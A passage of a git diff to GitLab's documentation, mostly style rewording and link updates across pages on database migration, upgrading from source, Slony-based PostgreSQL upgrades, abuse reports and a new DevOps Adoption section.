+1. Edit `/etc/gitlab/gitlab.rb` to use the bundled PostgreSQL. Review all of the
+ settings beginning with `db_` (such as `gitlab_rails['db_adapter']`). To use
+ the default values, you can comment all of them out.
1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
+
1. Start Unicorn and PostgreSQL so that we can prepare the schema:
```shell
@@ -110,9 +110,9 @@ need to enable the bundled PostgreSQL:
sudo gitlab-ctl stop unicorn
```
-After these steps, you'll have a fresh PostgreSQL database with up-to-date schema.
+After these steps, you have a fresh PostgreSQL database with up-to-date schema.
-Next, we'll use `pgloader` to migrate the data from the old MySQL database to the
+Next, use `pgloader` to migrate the data from the old MySQL database to the
new PostgreSQL one:
1. Save the following snippet in a `commands.load` file, and edit with your
@@ -178,7 +178,7 @@ You can now verify that everything works as expected by visiting GitLab.
## Source installations
-For installations from source that use MySQL, you'll first need to
+For installations from source that use MySQL, you must first
[install PostgreSQL and create a database](../install/installation.md#6-database).
After the database is created, go on with the following steps:
@@ -211,9 +211,9 @@ After the database is created, go on with the following steps:
sudo -u git -H bundle exec rake db:create db:migrate RAILS_ENV=production
```
-After these steps, you'll have a fresh PostgreSQL database with up-to-date schema.
+After these steps, you have a fresh PostgreSQL database with up-to-date schema.
-Next, we'll use `pgloader` to migrate the data from the old MySQL database to the
+Next, use `pgloader` to migrate the data from the old MySQL database to the
new PostgreSQL one:
1. Save the following snippet in a `commands.load` file, and edit with your
diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md
index 081df16be81..754265a23cf 100644
--- a/doc/update/patch_versions.md
+++ b/doc/update/patch_versions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/update/restore_after_failure.md b/doc/update/restore_after_failure.md
index e35d7bff562..0625cc5a68f 100644
--- a/doc/update/restore_after_failure.md
+++ b/doc/update/restore_after_failure.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Restoring from backup after a failed upgrade
@@ -65,7 +65,7 @@ sudo gitlab-rake gitlab:db:mark_migration_complete[20151103134857]
```
Once the migration is successfully marked, run the Rake `db:migrate` task again.
-You will likely have to repeat this process several times until all failed
+You might need to repeat this process several times until all failed
migrations are marked complete.
### GitLab < 8.6
@@ -86,5 +86,5 @@ exit
```
Once the migration is successfully marked, run the Rake `db:migrate` task again.
-You will likely have to repeat this process several times until all failed
+You might need to repeat this process several times until all failed
migrations are marked complete.
diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md
index 71d857ce18f..9a75326009c 100644
--- a/doc/update/upgrading_from_ce_to_ee.md
+++ b/doc/update/upgrading_from_ce_to_ee.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
# Upgrading from Community Edition to Enterprise Edition from source
-NOTE: **Note:**
+NOTE:
In the past we used separate documents for upgrading from
Community Edition to Enterprise Edition. These documents can be found in the
[`doc/update` directory of Enterprise Edition's source
@@ -128,7 +128,7 @@ sudo -u git -H bundle exec rake gitlab:backup:restore RAILS_ENV=production
Certain versions of GitLab may require you to perform additional steps when
upgrading from Community Edition to Enterprise Edition. Should such steps be
-necessary, they will listed per version below.
+necessary, they are listed per version below.
<!--
Example:
diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md
index 4eedc9bb89f..770eade6542 100644
--- a/doc/update/upgrading_from_source.md
+++ b/doc/update/upgrading_from_source.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
# Upgrading Community Edition and Enterprise Edition from source
-NOTE: **Note:**
-Users wishing to upgrade to 12.0.0 will have to take some extra steps. See the
+NOTE:
+Users wishing to upgrade to 12.0.0 must take some extra steps. See the
version specific upgrade instructions for 12.0.0 for more details.
Make sure you view this update guide from the branch (version) of GitLab you
@@ -45,7 +45,7 @@ specific guidelines (should there be any) are covered separately.
### 1. Backup
-NOTE: If you installed GitLab from source, make sure `rsync` is installed.
+If you installed GitLab from source, make sure `rsync` is installed.
```shell
cd /home/git/gitlab
@@ -61,7 +61,8 @@ sudo service gitlab stop
### 3. Update Ruby
-NOTE: Beginning in GitLab 13.6, we only support Ruby 2.7 or higher, and dropped
+NOTE:
+Beginning in GitLab 13.6, we only support Ruby 2.7 or higher, and dropped
support for Ruby 2.6. Be sure to upgrade if necessary.
You can check which version you are running with `ruby -v`.
@@ -70,7 +71,7 @@ Download Ruby and compile it:
```shell
mkdir /tmp/ruby && cd /tmp/ruby
-curl --remote-name --progress https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz
+curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz"
echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz
cd ruby-2.7.2
@@ -81,7 +82,7 @@ sudo make install
### 4. Update Node.js
-NOTE: To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions).
+To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions).
GitLab also requires the use of Yarn `>= v1.10.0` to manage JavaScript
dependencies.
@@ -89,7 +90,7 @@ dependencies.
In Debian or Ubuntu:
```shell
-curl --silent --show-error https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+curl --silent --show-error "https://dl.yarnpkg.com/debian/pubkey.gpg" | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update
sudo apt-get install yarn
@@ -99,7 +100,7 @@ More information can be found on the [Yarn website](https://classic.yarnpkg.com/
### 5. Update Go
-NOTE: To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions).
+To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions).
You can check which version you are running with `go version`.
@@ -109,7 +110,7 @@ Download and install Go (for Linux, 64-bit):
# Remove former Go installation folder
sudo rm -rf /usr/local/go
-curl --remote-name --progress https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
+curl --remote-name --progress "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz"
echo '512103d7ad296467814a6e3f635631bd35574cab3369a97a323c9a585ccaa569 go1.13.5.linux-amd64.tar.gz' | shasum -a256 -c - && \
sudo tar -C /usr/local -xzf go1.13.5.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/{go,godoc,gofmt} /usr/local/bin/
@@ -119,7 +120,7 @@ rm go1.13.5.linux-amd64.tar.gz
### 6. Update Git
-CAUTION: **Caution:**
+WARNING:
From GitLab 13.1, you must use at least Git v2.24 (previous minimum version was v2.22).
Git v2.28 is recommended.
@@ -139,7 +140,7 @@ sudo apt-get remove git-core
sudo apt-get install -y libcurl4-openssl-dev libexpat1-dev gettext libz-dev libssl-dev build-essential
# Download and compile pcre2 from source
-curl --silent --show-error --location https://ftp.pcre.org/pub/pcre/pcre2-10.33.tar.gz --output pcre2.tar.gz
+curl --silent --show-error --location "https://ftp.pcre.org/pub/pcre/pcre2-10.33.tar.gz" --output pcre2.tar.gz
tar -xzf pcre2.tar.gz
cd pcre2-10.33
chmod +x configure
@@ -149,7 +150,7 @@ make install
# Download and compile from source
cd /tmp
-curl --remote-name --location --progress https://www.kernel.org/pub/software/scm/git/git-2.29.0.tar.gz
+curl --remote-name --location --progress "https://www.kernel.org/pub/software/scm/git/git-2.29.0.tar.gz"
echo 'fa08dc8424ef80c0f9bf307877f9e2e49f1a6049e873530d6747c2be770742ff git-2.29.0.tar.gz' | shasum -a256 -c - && tar -xzf git-2.29.0.tar.gz
cd git-2.29.0/
./configure --with-libpcre
@@ -163,7 +164,7 @@ sudo make prefix=/usr/local install
### 7. Update PostgreSQL
-CAUTION: **Caution:**
+WARNING:
From GitLab 13.0, you must use at least PostgreSQL 11.
The latest version of GitLab might depend on a more recent PostgreSQL version than what you are currently running (see the [PostgreSQL requirements](../install/requirements.md#postgresql-requirements)).
@@ -210,17 +211,12 @@ sudo -u git -H make build
### 10. Update GitLab Workhorse
-Install and compile GitLab Workhorse. GitLab Workhorse uses
-[GNU Make](https://www.gnu.org/software/make/).
-If you are not using Linux you may have to run `gmake` instead of
-`make` below.
+Install and compile GitLab Workhorse.
```shell
-cd /home/git/gitlab-workhorse
+cd /home/git/gitlab
-sudo -u git -H git fetch --all --tags --prune
-sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_WORKHORSE_VERSION)
-sudo -u git -H make
+sudo -u git -H bundle exec rake "gitlab:workhorse:install[/home/git/gitlab-workhorse]" RAILS_ENV=production
```
### 11. Update Gitaly
@@ -284,12 +280,12 @@ longer handles setting it.
If you are using Apache instead of NGINX see the updated [Apache templates](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache).
Also note that because Apache does not support upstreams behind Unix sockets you
-will need to let GitLab Workhorse listen on a TCP port. You can do this
+must let GitLab Workhorse listen on a TCP port. You can do this
via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example#L38).
#### SMTP configuration
-If you're installing from source and use SMTP to deliver mail, you will need to
+If you're installing from source and use SMTP to deliver mail, you must
add the following line to `config/initializers/smtp_settings.rb`:
```ruby
diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md
index 4d8b58cc3af..89df7090977 100644
--- a/doc/update/upgrading_postgresql_using_slony.md
+++ b/doc/update/upgrading_postgresql_using_slony.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Upgrading PostgreSQL Using Slony
@@ -11,12 +11,12 @@ to the latest version without the need for hours of downtime. This guide assumes
you have two database servers: one database server running an older version of
PostgreSQL (e.g. 9.2.18) and one server running a newer version (e.g. 9.6.0).
-For this process we'll use a PostgreSQL replication tool called
+For this process we use a PostgreSQL replication tool called
["Slony"](https://www.slony.info/). Slony allows replication between different
PostgreSQL versions and as such can be used to upgrade a cluster with a minimal
amount of downtime.
-In various places we'll refer to the user `gitlab-psql`. This user should be the
+In various places we refer to the user `gitlab-psql`. This user should be the
user used to run the various PostgreSQL OS processes. If you're using a
different user (e.g. `postgres`) you should replace `gitlab-psql` with the name
of said user. This guide also assumes your database is called
@@ -28,15 +28,15 @@ change this accordingly.
Slony only replicates data and not any schema changes. As a result we must
ensure that all databases have the same database structure.
-To do so we'll generate a dump of our current database. This dump will only
-contain the structure, not any data. To generate this dump run the following
+To do so, generate a dump of the current database. This dump only
+contains the structure, not any data. To generate this dump run the following
command on your active database server:
```shell
sudo -u gitlab-psql /opt/gitlab/embedded/bin/pg_dump -h /var/opt/gitlab/postgresql -p 5432 -U gitlab-psql -s -f /tmp/structure.sql gitlabhq_production
```
-If you're not using GitLab's Omnibus package you may have to adjust the paths to
+If you're not using the Omnibus GitLab package you may have to adjust the paths to
`pg_dump` and the PostgreSQL installation directory to match the paths of your
configuration.
@@ -49,20 +49,20 @@ command on your active database server:
sudo -u gitlab-psql /opt/gitlab/embedded/bin/pg_dump -h /var/opt/gitlab/postgresql/ -p 5432 -U gitlab-psql -a -t schema_migrations -f /tmp/migrations.sql gitlabhq_production
```
-Next we'll need to move these files somewhere accessible by the new database
-server. The easiest way is to simply download these files to your local system:
+Next, move these files somewhere accessible by the new database
+server. The easiest way is to download these files to your local system:
```shell
scp your-user@production-database-host:/tmp/*.sql /tmp
```
-This will copy all the SQL files located in `/tmp` to your local system's
+This copies all the SQL files located in `/tmp` to your local system's
`/tmp` directory. Once copied you can safely remove the files from the database
server.
## Installing Slony
-Slony will be used to upgrade the database without requiring a long downtime.
+Use Slony to upgrade the database without requiring a long downtime.
Slony can be downloaded from <https://www.slony.info/>. If you have installed
PostgreSQL using your operating system's package manager you may also be able to
install Slony using said package manager.
@@ -94,7 +94,7 @@ test -f /opt/gitlab/embedded/bin/slonik_init_cluster && echo 'Slony Perl tools a
```
This assumes Slony was installed to `/opt/gitlab/embedded`. If Slony was
-installed properly the output of these commands will be (the mentioned `slonik`
+installed properly the output of these commands is (the mentioned `slonik`
version may be different):
```plaintext
@@ -106,8 +106,8 @@ slonik version 2.2.5
## Slony User
Next we must set up a PostgreSQL user that Slony can use to replicate your
-database. To do so, log in to your production database using `psql` using a
-super user account. Once done run the following SQL queries:
+database. To do so, sign in to your production database using `psql` using a
+super-user account. After signing in, run the following SQL queries:
```sql
CREATE ROLE slony WITH SUPERUSER LOGIN REPLICATION ENCRYPTED PASSWORD 'password string here';
@@ -115,20 +115,20 @@ ALTER ROLE slony SET statement_timeout TO 0;
```
Make sure you replace "password string here" with the actual password for the
-user. A password is *required*. This user must be created on _both_ the old and
+user. A password is required. This user must be created on both the old and
new database server using the same password.
-Once the user has been created make sure you note down the password as we will
-need it later on.
+After creating the user, be sure to note the password, as the password is needed
+later.
## Configuring Slony
-Now we can finally start configuring Slony. Slony uses a configuration file for
-most of the work so we'll need to set this one up. This configuration file
+We can now start configuring Slony. Slony uses a configuration file for
+most of the work so we need to set this one up. This configuration file
specifies where to put log files, how Slony should connect to the databases,
etc.
-First we'll need to create some required directories and set the correct
+First, create some required directories and set the correct
permissions. To do so, run the following commands on both the old and new
database server:
@@ -199,8 +199,7 @@ appropriate path to the `psql` executable.
The above command outputs a list of tables in a format that can be copy-pasted
directly into the above configuration file. Make sure to _replace_ `TABLES` with
-this output, don't just append it below it. Once done you'll end up with
-something like this:
+this output, don't just append it below it. The result looks like this:
```perl
"pkeyedtables" => [
@@ -251,14 +250,14 @@ following:
... more rows here ...
```
-Now we can initialize the required tables and what not that Slony will use for
+Now we can initialize the required tables and what not that Slony uses for
its replication process. To do so, run the following on the old database:
```shell
sudo -u gitlab-psql /opt/gitlab/embedded/bin/slonik_init_cluster --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf | /opt/gitlab/embedded/bin/slonik
```
-If all went well this will produce something along the lines of:
+If all went well this produces something along the lines of:
```plaintext
<stdin>:10: Set up replication nodes
@@ -274,7 +273,7 @@ following on the old database:
sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_start 1 --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf
```
-If all went well this will produce output such as:
+If all went well this produces output such as:
```plaintext
Invoke slon for node 1 - /opt/gitlab/embedded/bin/slon -p /var/run/slony1/slony_replication_node1.pid -s 1000 -d2 slony_replication 'host=192.168.0.7 dbname=gitlabhq_production user=slony port=5432 password=hieng8ezohHuCeiqu0leeghai4aeyahp' > /var/log/gitlab/slony/node1/gitlabhq_production-2016-10-06.log 2>&1 &
@@ -289,7 +288,7 @@ Next we need to run the following command on the _new_ database server:
sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_start 2 --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf
```
-This will produce similar output if all went well.
+This produces similar output if all went well.
Next we need to tell the new database server what it should replicate. This can
be done by running the following command on the _new_ database server:
@@ -324,7 +323,7 @@ This should produce the following output:
<stdin>:6: Subscribed nodes to set 1
```
-At this point the new database server will start replicating the data of the old
+At this point the new database server starts replicating the data of the old
database server. This process can take anywhere from a few minutes to hours, if
not days. Unfortunately Slony itself doesn't really provide a way of knowing
when the two databases are in sync. To get an estimate of the progress you can
@@ -357,19 +356,19 @@ function main {
main
```
-This script will compare the sizes of the old and new database every minute and
+This script compares the sizes of the old and new database every minute and
print the result to STDOUT as well as logging it to a file. Make sure to replace
`SLONY_PASSWORD`, `OLD_HOST`, and `NEW_HOST` with the correct values.
## Stopping Replication
-At some point the two databases are in sync. Once this is the case you'll need
-to plan for a few minutes of downtime. This small downtime window is used to
-stop the replication process, remove any Slony data from both databases, restart
-GitLab so it can use the new database, etc.
+At some point, the two databases are in sync. If this is the case, you must plan
+for a few minutes of downtime. This small downtime window is used to stop the
+replication process, remove any Slony data from both databases, and restart
+GitLab so it can use the new database.
First, let's stop all of GitLab. Omnibus users can do so by running the
-following on their GitLab server(s):
+following on their GitLab servers:
```shell
sudo gitlab-ctl stop unicorn
@@ -377,14 +376,14 @@ sudo gitlab-ctl stop sidekiq
sudo gitlab-ctl stop mailroom
```
-If you have any other processes that use PostgreSQL you should also stop those.
+If you have any other processes that use PostgreSQL, you should also stop those.
-Once everything has been stopped you should update any configuration settings,
-DNS records, etc so they all point to the new database.
+After everything has been stopped, be sure to update any configuration settings
+and DNS records so they all point to the new database.
-Once the settings have been taken care of we need to stop the replication
-process. It's crucial that no new data is written to the databases at this point
-as this data will be lost.
+When the settings have been taken care of, we need to stop the replication
+process. It's crucial that no new data is written to the databases at this point,
+as this data is discarded.
To stop replication, run the following on both database servers:
@@ -392,7 +391,7 @@ To stop replication, run the following on both database servers:
sudo -u gitlab-psql /opt/gitlab/embedded/bin/slon_kill --conf /var/opt/gitlab/postgresql/slony/slon_tools.conf
```
-This will stop all the Slony processes on the host the command was executed on.
+This stops all the Slony processes on the host the command was executed on.
## Resetting Sequences
@@ -469,7 +468,7 @@ Upload this script to the _target_ server and execute it as follows:
bash path/to/the/script/above.sh
```
-This will correct the ownership of sequences and reset the next value for the
+This corrects the ownership of sequences and reset the next value for the
`id` column to the next available value.
## Removing Slony
diff --git a/doc/user/abuse_reports.md b/doc/user/abuse_reports.md
index 155f45f087f..935fca8209f 100644
--- a/doc/user/abuse_reports.md
+++ b/doc/user/abuse_reports.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Abuse reports
@@ -38,8 +38,8 @@ To report abuse from a user's comment:
1. Complete an abuse report.
1. Click the **Send report** button.
-NOTE: **Note:**
-A URL to the reported user's comment will be pre-filled in the abuse report's
+NOTE:
+A URL to the reported user's comment is pre-filled in the abuse report's
**Message** field.
## Reporting abuse through a user's issue or merge request
@@ -58,8 +58,8 @@ With the **Report abuse** button displayed, to submit an abuse report:
1. Submit an abuse report.
1. Click the **Send report** button.
-NOTE: **Note:**
-A URL to the reported user's issue or merge request will be pre-filled
+NOTE:
+A URL to the reported user's issue or merge request is pre-filled
in the abuse report's **Message** field.
## Managing abuse reports
diff --git a/doc/user/account/security.md b/doc/user/account/security.md
index 8a8edc23529..d9db3a25c00 100644
--- a/doc/user/account/security.md
+++ b/doc/user/account/security.md
@@ -3,3 +3,6 @@ redirect_to: '../profile/account/index.md'
---
This document was moved to [profile](../profile/account/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/account/two_factor_authentication.md b/doc/user/account/two_factor_authentication.md
index 42a66becc50..b085611f747 100644
--- a/doc/user/account/two_factor_authentication.md
+++ b/doc/user/account/two_factor_authentication.md
@@ -3,3 +3,6 @@ redirect_to: '../profile/account/two_factor_authentication.md'
---
This document was moved to [profile/account/two_factor_authentication](../profile/account/two_factor_authentication.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md
index 4c346d7dfe8..62f3bd3625c 100644
--- a/doc/user/admin_area/abuse_reports.md
+++ b/doc/user/admin_area/abuse_reports.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -73,7 +73,7 @@ page:
![abuse-report-blocked-user-image](img/abuse_report_blocked_user.png)
-NOTE: **Note:**
+NOTE:
Users can be [blocked](../../api/users.md#block-user) and
[unblocked](../../api/users.md#unblock-user) using the GitLab API.
diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md
index 96b39ae7116..1bca1751d2e 100644
--- a/doc/user/admin_area/activating_deactivating_users.md
+++ b/doc/user/admin_area/activating_deactivating_users.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -43,7 +43,7 @@ Please note that for the deactivation option to be visible to an admin, the user
Users can also be deactivated using the [GitLab API](../../api/users.md#deactivate-user).
-NOTE: **Note:**
+NOTE:
A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users).
## Activating a user
@@ -61,9 +61,9 @@ To do this:
Users can also be activated using the [GitLab API](../../api/users.md#activate-user).
-NOTE: **Note:**
+NOTE:
Activating a user changes the user's state to active and consumes a
[seat](../../subscriptions/self_managed/index.md#billable-users).
-TIP: **Tip:**
+NOTE:
A deactivated user can also activate their account themselves by simply logging back in via the UI.
diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md
index 3ffda3f4400..d0f3a34e15e 100644
--- a/doc/user/admin_area/analytics/convdev.md
+++ b/doc/user/admin_area/analytics/convdev.md
@@ -3,3 +3,6 @@ redirect_to: 'dev_ops_report.md'
---
This document was moved to [another location](dev_ops_report.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md
index d1f80e63c04..8f629fd4250 100644
--- a/doc/user/admin_area/analytics/dev_ops_report.md
+++ b/doc/user/admin_area/analytics/dev_ops_report.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# DevOps Report **(CORE)**
@@ -9,20 +9,20 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3.
> - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6.
-NOTE: **Note:**
-Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature.
-
The DevOps Report gives you an overview of your entire instance's adoption of
[Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/)
from planning to monitoring.
To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**.
-## DevOps Score
+## DevOps Score **(CORE)**
-DevOps Score displays the usage of GitLab's major features on your instance over
-the last 30 days, averaged over the number of active users in that time period. It also
-provides a Lead score per feature, which is calculated based on GitLab's analysis
+NOTE:
+Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature.
+
+The DevOps Score tab displays the usage of major GitLab features on your instance over
+the last 30 days, averaged over the number of billable users in that time period. It also
+provides a Lead score per feature, which is calculated based on GitLab analysis
of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has
collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature.
Your overall **DevOps Score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations.
@@ -32,6 +32,48 @@ Your overall **DevOps Score** is an average of your feature scores. You can use
The page also provides helpful links to articles and GitLab docs, to help you
improve your scores.
-Usage ping data is aggregated on GitLab's servers for analysis. Your usage
+Usage ping data is aggregated on GitLab servers for analysis. Your usage
information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be
collected before this feature is available.
+
+## DevOps Adoption **(ULTIMATE)**
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7.
+
+The DevOps Adoption tab shows you which segments of your organization are using the most essential features of GitLab:
+
+- Issues
+- Merge Requests
+- Approvals
+- Runners
+- Pipelines
+- Deploys
+- Scanning
+
+Segments are arbitrary collections of GitLab groups that you define. You might define a segment to represent a small team, a large department, or a whole organization. You are limited to creating a maximum of 20 segments, and each segment is limited to a maximum of 20 groups. Buttons to manage your segments appear in the DevOps Adoption section of the page.
+
+DevOps Adoption allows you to:
+
+- Verify whether you are getting the return on investment that you expected from GitLab.
+- Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
+- Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features.
+
+![DevOps Report](img/dev_ops_adoption_v13_7.png)
+
+### Disable or enable DevOps Adoption
+
+DevOps Adoption is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can opt to disable it.
+
+To disable it:
+
+```ruby
+Feature.disable(:devops_adoption_feature)
+```
+
+To enable it:
+
+```ruby
+Feature.enable(:devops_adoption_feature)
+```
diff --git a/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png
new file mode 100644
index 00000000000..0f1f16bead6
--- /dev/null
+++ b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md
index 3d53cd73dd2..098d758e42a 100644
--- a/doc/user/admin_area/analytics/index.md
+++ b/doc/user/admin_area/analytics/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instance-level analytics
diff --git a/doc/user/admin_area/analytics/instance_statistics.md b/doc/user/admin_area/analytics/instance_statistics.md
new file mode 100644
index 00000000000..44fd04198b1
--- /dev/null
+++ b/doc/user/admin_area/analytics/instance_statistics.md
@@ -0,0 +1,5 @@
+---
+redirect_to: 'usage_trends.md'
+---
+
+This document was moved to [another location](usage_trends.md).
diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md
index cf12f1f24c6..aeb577b8183 100644
--- a/doc/user/admin_area/analytics/usage_trends.md
+++ b/doc/user/admin_area/analytics/usage_trends.md
@@ -1,7 +1,7 @@
---
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Usage Trends **(CORE)**
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - It's enabled on GitLab.com.
> - It's recommended for production use.
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Usage Trends gives you an overview of how much data your instance contains, and how quickly this volume is changing over time.
diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md
index c9b62e258ae..1d2d0029860 100644
--- a/doc/user/admin_area/analytics/user_cohorts.md
+++ b/doc/user/admin_area/analytics/user_cohorts.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Cohorts **(CORE)**
diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md
index 23a6de38e17..b7f5afe7b70 100644
--- a/doc/user/admin_area/appearance.md
+++ b/doc/user/admin_area/appearance.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
